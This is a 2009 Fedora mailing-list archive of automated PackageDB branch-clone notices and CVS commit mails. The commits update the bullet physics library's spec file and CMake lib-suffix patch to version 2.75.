From pkgdb at fedoraproject.org  Sat Oct  3 16:14:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:47 +0000
Subject: [pkgdb] automake F-12 cloned from devel
Message-ID: <20091003161447.12EEA10FABC@bastion2.fedora.phx.redhat.com>

toshio cloned automake F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/automake



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:49 +0000
Subject: [pkgdb] automake14 F-12 cloned from devel
Message-ID: <20091003161449.A789610F925@bastion2.fedora.phx.redhat.com>

toshio cloned automake14 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/automake14



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:51 +0000
Subject: [pkgdb] automake15 F-12 cloned from devel
Message-ID: <20091003161451.AF4CE10F980@bastion2.fedora.phx.redhat.com>

toshio cloned automake15 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/automake15



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:53 +0000
Subject: [pkgdb] automake16 F-12 cloned from devel
Message-ID: <20091003161453.1935F10F9BA@bastion2.fedora.phx.redhat.com>

toshio cloned automake16 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/automake16



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:59 +0000
Subject: [pkgdb] automaton F-12 cloned from devel
Message-ID: <20091003161459.2E06B10F983@bastion2.fedora.phx.redhat.com>

toshio cloned automaton F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/automaton



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:01 +0000
Subject: [pkgdb] automoc F-12 cloned from devel
Message-ID: <20091003161502.1A09210F982@bastion2.fedora.phx.redhat.com>

toshio cloned automoc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/automoc



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:04 +0000
Subject: [pkgdb] autossh F-12 cloned from devel
Message-ID: <20091003161504.CF95D10F928@bastion2.fedora.phx.redhat.com>

toshio cloned autossh F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autossh



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:07 +0000
Subject: [pkgdb] autotrace F-12 cloned from devel
Message-ID: <20091003161507.A6B0A10F9BD@bastion2.fedora.phx.redhat.com>

toshio cloned autotrace F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autotrace



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:09 +0000
Subject: [pkgdb] autotrust F-12 cloned from devel
Message-ID: <20091003161509.D43DA10FA00@bastion2.fedora.phx.redhat.com>

toshio cloned autotrust F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/autotrust



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:11 +0000
Subject: [pkgdb] avahi F-12 cloned from devel
Message-ID: <20091003161511.E66A110F9C1@bastion2.fedora.phx.redhat.com>

toshio cloned avahi F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avahi



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:16 +0000
Subject: [pkgdb] avalon-logkit F-12 cloned from devel
Message-ID: <20091003161516.51EC110FAC3@bastion2.fedora.phx.redhat.com>

toshio cloned avalon-logkit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avalon-logkit



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:19 +0000
Subject: [pkgdb] avarice F-12 cloned from devel
Message-ID: <20091003161519.C23E910FAC9@bastion2.fedora.phx.redhat.com>

toshio cloned avarice F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avarice



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:21 +0000
Subject: [pkgdb] avogadro F-12 cloned from devel
Message-ID: <20091003161521.876A510FACB@bastion2.fedora.phx.redhat.com>

toshio cloned avogadro F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avogadro



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:25 +0000
Subject: [pkgdb] avr-gcc F-12 cloned from devel
Message-ID: <20091003161525.374C910FA09@bastion2.fedora.phx.redhat.com>

toshio cloned avr-gcc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avr-gcc



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:26 +0000
Subject: [pkgdb] avr-gdb F-12 cloned from devel
Message-ID: <20091003161526.AC62410FAD0@bastion2.fedora.phx.redhat.com>

toshio cloned avr-gdb F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avr-gdb



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:28 +0000
Subject: [pkgdb] avr-libc F-12 cloned from devel
Message-ID: <20091003161528.733FF10F86A@bastion2.fedora.phx.redhat.com>

toshio cloned avr-libc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avr-libc



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:30 +0000
Subject: [pkgdb] avrdude F-12 cloned from devel
Message-ID: <20091003161530.0C03710FACF@bastion2.fedora.phx.redhat.com>

toshio cloned avrdude F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avrdude



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:32 +0000
Subject: [pkgdb] awesfx F-12 cloned from devel
Message-ID: <20091003161532.3242C10FAD1@bastion2.fedora.phx.redhat.com>

toshio cloned awesfx F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/awesfx



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:34 +0000
Subject: [pkgdb] awn-extras-applets F-12 cloned from devel
Message-ID: <20091003161534.4487F10FAD3@bastion2.fedora.phx.redhat.com>

toshio cloned awn-extras-applets F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/awn-extras-applets



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:35 +0000
Subject: [pkgdb] awstats F-12 cloned from devel
Message-ID: <20091003161536.0888910FAD5@bastion2.fedora.phx.redhat.com>

toshio cloned awstats F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/awstats



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:38 +0000
Subject: [pkgdb] ax25-apps F-12 cloned from devel
Message-ID: <20091003161538.51C1D10F98B@bastion2.fedora.phx.redhat.com>

toshio cloned ax25-apps F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ax25-apps



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:42 +0000
Subject: [pkgdb] axel F-12 cloned from devel
Message-ID: <20091003161542.3835A10F88B@bastion2.fedora.phx.redhat.com>

toshio cloned axel F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/axel



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:43 +0000
Subject: [pkgdb] axis F-12 cloned from devel
Message-ID: <20091003161543.878BB10FA10@bastion2.fedora.phx.redhat.com>

toshio cloned axis F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/axis



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:45 +0000
Subject: [pkgdb] azureus F-12 cloned from devel
Message-ID: <20091003161545.E095A10F92E@bastion2.fedora.phx.redhat.com>

toshio cloned azureus F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/azureus



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:47 +0000
Subject: [pkgdb] b43-fwcutter F-12 cloned from devel
Message-ID: <20091003161547.9D36A10FADF@bastion2.fedora.phx.redhat.com>

toshio cloned b43-fwcutter F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/b43-fwcutter



From linuxdonald at fedoraproject.org  Sat Oct  3 16:23:21 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Sat,  3 Oct 2009 16:23:21 +0000 (UTC)
Subject: rpms/bullet/devel .cvsignore, 1.2, 1.3 bullet.spec, 1.2,
	1.3 import.log, 1.1, 1.2 lib_suffix.patch, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091003162321.06ECA11C00E5@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/bullet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9256/devel

Modified Files:
	.cvsignore bullet.spec import.log lib_suffix.patch sources 
Log Message:

Updatet to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	27 Jun 2009 21:39:49 -0000	1.2
+++ .cvsignore	3 Oct 2009 16:23:20 -0000	1.3
@@ -1 +1 @@
-bullet-2.74-free.tar.gz
+bullet-2.75-free.tar.gz


Index: bullet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/devel/bullet.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- bullet.spec	24 Jul 2009 18:29:21 -0000	1.2
+++ bullet.spec	3 Oct 2009 16:23:20 -0000	1.3
@@ -1,6 +1,6 @@
 Name: bullet
-Version: 2.74
-Release: 2%{?dist}
+Version: 2.75
+Release: 1%{?dist}
 Summary: 3D Collision Detection and Rigid Body Dynamics Library
 Group: Development/Libraries
 License: zlib and MIT and BSD
@@ -11,7 +11,7 @@ Source0: %{name}-%{version}-free.tar.gz
 # this script to remove the non-free code before shipping it.
 # Download the upstream tarball and invoke this script while in the
 # tarball's directory:
-# ./generate-tarball.sh 2.74
+# ./generate-tarball.sh 2.75
 Source1: generate-tarball.sh
 
 # See http://code.google.com/p/bullet/issues/detail?id=174
@@ -98,19 +98,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/BulletCollision/CollisionShapes/*.h
 %{_includedir}/BulletCollision/Gimpact/*.h
 %{_includedir}/BulletCollision/NarrowPhaseCollision/*.h
+%{_includedir}/BulletCollision/*.h
 %{_includedir}/BulletDynamics/Character/*.h
 %{_includedir}/BulletDynamics/ConstraintSolver/*.h
 %{_includedir}/BulletDynamics/Dynamics/*.h
 %{_includedir}/BulletDynamics/Vehicle/*.h
+%{_includedir}/BulletDynamics/*.h
 %{_includedir}/BulletSoftBody/*.h
 %{_includedir}/LinearMath/*.h
 %{_libdir}/*.so
 
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.74-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
+* Sat Oct 03 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2.75-1
+- Updatet to new upstream version 2.75
+- Updatet the patch file to work agian
 
 * Thu Jun 25 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2.74-1
 - Updatet to version 2.74


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	27 Jun 2009 21:39:49 -0000	1.1
+++ import.log	3 Oct 2009 16:23:20 -0000	1.2
@@ -1 +1,2 @@
 bullet-2_74-1_fc11:HEAD:bullet-2.74-1.fc11.src.rpm:1246138693
+bullet-2_75-1_fc11:HEAD:bullet-2.75-1.fc11.src.rpm:1254586610

lib_suffix.patch:
 BulletCollision/CMakeLists.txt |    2 +-
 BulletDynamics/CMakeLists.txt  |    2 +-
 BulletSoftBody/CMakeLists.txt  |    2 +-
 LinearMath/CMakeLists.txt      |    2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

Index: lib_suffix.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/devel/lib_suffix.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lib_suffix.patch	27 Jun 2009 21:39:49 -0000	1.1
+++ lib_suffix.patch	3 Oct 2009 16:23:20 -0000	1.2
@@ -1,44 +1,44 @@
---- ./src/BulletCollision/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletCollision/CMakeLists.txt	2009-06-24 23:54:42.899191024 +0200
-@@ -216,7 +216,7 @@
- 
- #INSTALL of other files requires CMake 2.6
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
--	INSTALL(TARGETS BulletCollision DESTINATION lib)
-+	INSTALL(TARGETS BulletCollision DESTINATION lib${LIB_SUFFIX})
-         INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
- ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/BulletDynamics/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletDynamics/CMakeLists.txt	2009-06-24 23:55:00.587135244 +0200
-@@ -76,7 +76,7 @@
- ENDIF (BUILD_SHARED_LIBS)
- 
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
--	INSTALL(TARGETS BulletDynamics DESTINATION lib)
-+	INSTALL(TARGETS BulletDynamics DESTINATION lib${LIB_SUFFIX})
- 	INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
- ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/BulletSoftBody/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletSoftBody/CMakeLists.txt	2009-06-24 23:54:18.388094145 +0200
-@@ -33,7 +33,7 @@
- ENDIF (BUILD_SHARED_LIBS)
- 
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
+--- ./src/BulletCollision/CMakeLists.txt	2009-09-17 23:33:29.000000000 +0200
++++ ./src/BulletCollision/CMakeLists.txt	2009-10-03 17:51:09.556672424 +0200
+@@ -248,7 +248,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletCollision DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+-		INSTALL(TARGETS BulletCollision DESTINATION lib)
++		INSTALL(TARGETS BulletCollision DESTINATION lib${LIB_SUFFIX})
+ 		INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 		INSTALL(FILES ../btBulletCollisionCommon.h DESTINATION include/BulletCollision)
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+--- ./src/BulletDynamics/CMakeLists.txt	2009-09-17 23:33:29.000000000 +0200
++++ ./src/BulletDynamics/CMakeLists.txt	2009-10-03 17:51:16.724672532 +0200
+@@ -89,7 +89,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletDynamics DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+-		INSTALL(TARGETS BulletDynamics DESTINATION lib)
++		INSTALL(TARGETS BulletDynamics DESTINATION lib${LIB_SUFFIX})
+ 		INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 		INSTALL(FILES ../btBulletDynamicsCommon.h DESTINATION include/BulletDynamics)
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+--- ./src/BulletSoftBody/CMakeLists.txt	2009-07-14 04:10:03.000000000 +0200
++++ ./src/BulletSoftBody/CMakeLists.txt	2009-10-03 17:51:25.189672245 +0200
+@@ -37,7 +37,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletSoftBody DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
 -	INSTALL(TARGETS BulletSoftBody DESTINATION lib)
 +	INSTALL(TARGETS BulletSoftBody DESTINATION lib${LIB_SUFFIX})
          INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
  ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/LinearMath/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/LinearMath/CMakeLists.txt	2009-06-24 23:53:03.892114830 +0200
-@@ -41,7 +41,7 @@
- 
- #FILES_MATCHING requires CMake 2.6
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
+--- ./src/LinearMath/CMakeLists.txt	2009-07-14 04:10:03.000000000 +0200
++++ ./src/LinearMath/CMakeLists.txt	2009-10-03 17:51:32.196672442 +0200
+@@ -44,7 +44,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS LinearMath DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
 -	INSTALL(TARGETS LinearMath DESTINATION lib)
 +	INSTALL(TARGETS LinearMath DESTINATION lib${LIB_SUFFIX})
  	INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
  ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	27 Jun 2009 21:39:49 -0000	1.2
+++ sources	3 Oct 2009 16:23:20 -0000	1.3
@@ -1 +1 @@
-9bb1421961549813216a39de0f9f8649  bullet-2.74-free.tar.gz
+ac92978bb8d808ac5e5f9cbd246fe334  bullet-2.75-free.tar.gz



From linuxdonald at fedoraproject.org  Sat Oct  3 16:27:20 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Sat,  3 Oct 2009 16:27:20 +0000 (UTC)
Subject: rpms/bullet/F-10 bullet.spec,1.1,1.2 lib_suffix.patch,1.1,1.2
Message-ID: <20091003162720.A5FB911C029B@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/bullet/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11752

Modified Files:
	bullet.spec lib_suffix.patch 
Log Message:

Updatet to new upstream release



Index: bullet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-10/bullet.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bullet.spec	27 Jun 2009 22:13:12 -0000	1.1
+++ bullet.spec	3 Oct 2009 16:27:20 -0000	1.2
@@ -1,5 +1,5 @@
 Name: bullet
-Version: 2.74
+Version: 2.75
 Release: 1%{?dist}
 Summary: 3D Collision Detection and Rigid Body Dynamics Library
 Group: Development/Libraries
@@ -11,7 +11,7 @@ Source0: %{name}-%{version}-free.tar.gz
 # this script to remove the non-free code before shipping it.
 # Download the upstream tarball and invoke this script while in the
 # tarball's directory:
-# ./generate-tarball.sh 2.74
+# ./generate-tarball.sh 2.75
 Source1: generate-tarball.sh
 
 # See http://code.google.com/p/bullet/issues/detail?id=174
@@ -98,10 +98,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/BulletCollision/CollisionShapes/*.h
 %{_includedir}/BulletCollision/Gimpact/*.h
 %{_includedir}/BulletCollision/NarrowPhaseCollision/*.h
+%{_includedir}/BulletCollision/*.h
 %{_includedir}/BulletDynamics/Character/*.h
 %{_includedir}/BulletDynamics/ConstraintSolver/*.h
 %{_includedir}/BulletDynamics/Dynamics/*.h
 %{_includedir}/BulletDynamics/Vehicle/*.h
+%{_includedir}/BulletDynamics/*.h
 %{_includedir}/BulletSoftBody/*.h
 %{_includedir}/LinearMath/*.h
 %{_libdir}/*.so
@@ -109,6 +111,10 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 
+* Sat Oct 03 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2.75-1
+- Updatet to new upstream version 2.75
+- Updatet the patch file to work agian
+
 * Thu Jun 25 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2.74-1
 - Updatet to version 2.74
 - Updatet the patch file to work agian

lib_suffix.patch:
 BulletCollision/CMakeLists.txt |    2 +-
 BulletDynamics/CMakeLists.txt  |    2 +-
 BulletSoftBody/CMakeLists.txt  |    2 +-
 LinearMath/CMakeLists.txt      |    2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

Index: lib_suffix.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-10/lib_suffix.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lib_suffix.patch	27 Jun 2009 22:13:12 -0000	1.1
+++ lib_suffix.patch	3 Oct 2009 16:27:20 -0000	1.2
@@ -1,44 +1,44 @@
---- ./src/BulletCollision/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletCollision/CMakeLists.txt	2009-06-24 23:54:42.899191024 +0200
-@@ -216,7 +216,7 @@
- 
- #INSTALL of other files requires CMake 2.6
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
--	INSTALL(TARGETS BulletCollision DESTINATION lib)
-+	INSTALL(TARGETS BulletCollision DESTINATION lib${LIB_SUFFIX})
-         INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
- ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/BulletDynamics/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletDynamics/CMakeLists.txt	2009-06-24 23:55:00.587135244 +0200
-@@ -76,7 +76,7 @@
- ENDIF (BUILD_SHARED_LIBS)
- 
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
--	INSTALL(TARGETS BulletDynamics DESTINATION lib)
-+	INSTALL(TARGETS BulletDynamics DESTINATION lib${LIB_SUFFIX})
- 	INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
- ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/BulletSoftBody/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletSoftBody/CMakeLists.txt	2009-06-24 23:54:18.388094145 +0200
-@@ -33,7 +33,7 @@
- ENDIF (BUILD_SHARED_LIBS)
- 
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
+--- ./src/BulletCollision/CMakeLists.txt	2009-09-17 23:33:29.000000000 +0200
++++ ./src/BulletCollision/CMakeLists.txt	2009-10-03 17:51:09.556672424 +0200
+@@ -248,7 +248,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletCollision DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+-		INSTALL(TARGETS BulletCollision DESTINATION lib)
++		INSTALL(TARGETS BulletCollision DESTINATION lib${LIB_SUFFIX})
+ 		INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 		INSTALL(FILES ../btBulletCollisionCommon.h DESTINATION include/BulletCollision)
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+--- ./src/BulletDynamics/CMakeLists.txt	2009-09-17 23:33:29.000000000 +0200
++++ ./src/BulletDynamics/CMakeLists.txt	2009-10-03 17:51:16.724672532 +0200
+@@ -89,7 +89,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletDynamics DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+-		INSTALL(TARGETS BulletDynamics DESTINATION lib)
++		INSTALL(TARGETS BulletDynamics DESTINATION lib${LIB_SUFFIX})
+ 		INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 		INSTALL(FILES ../btBulletDynamicsCommon.h DESTINATION include/BulletDynamics)
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+--- ./src/BulletSoftBody/CMakeLists.txt	2009-07-14 04:10:03.000000000 +0200
++++ ./src/BulletSoftBody/CMakeLists.txt	2009-10-03 17:51:25.189672245 +0200
+@@ -37,7 +37,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletSoftBody DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
 -	INSTALL(TARGETS BulletSoftBody DESTINATION lib)
 +	INSTALL(TARGETS BulletSoftBody DESTINATION lib${LIB_SUFFIX})
          INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
  ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/LinearMath/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/LinearMath/CMakeLists.txt	2009-06-24 23:53:03.892114830 +0200
-@@ -41,7 +41,7 @@
- 
- #FILES_MATCHING requires CMake 2.6
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
+--- ./src/LinearMath/CMakeLists.txt	2009-07-14 04:10:03.000000000 +0200
++++ ./src/LinearMath/CMakeLists.txt	2009-10-03 17:51:32.196672442 +0200
+@@ -44,7 +44,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS LinearMath DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
 -	INSTALL(TARGETS LinearMath DESTINATION lib)
 +	INSTALL(TARGETS LinearMath DESTINATION lib${LIB_SUFFIX})
  	INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
  ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 



From linuxdonald at fedoraproject.org  Sat Oct  3 16:28:05 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Sat,  3 Oct 2009 16:28:05 +0000 (UTC)
Subject: rpms/bullet/F-12 bullet.spec,1.2,1.3 lib_suffix.patch,1.1,1.2
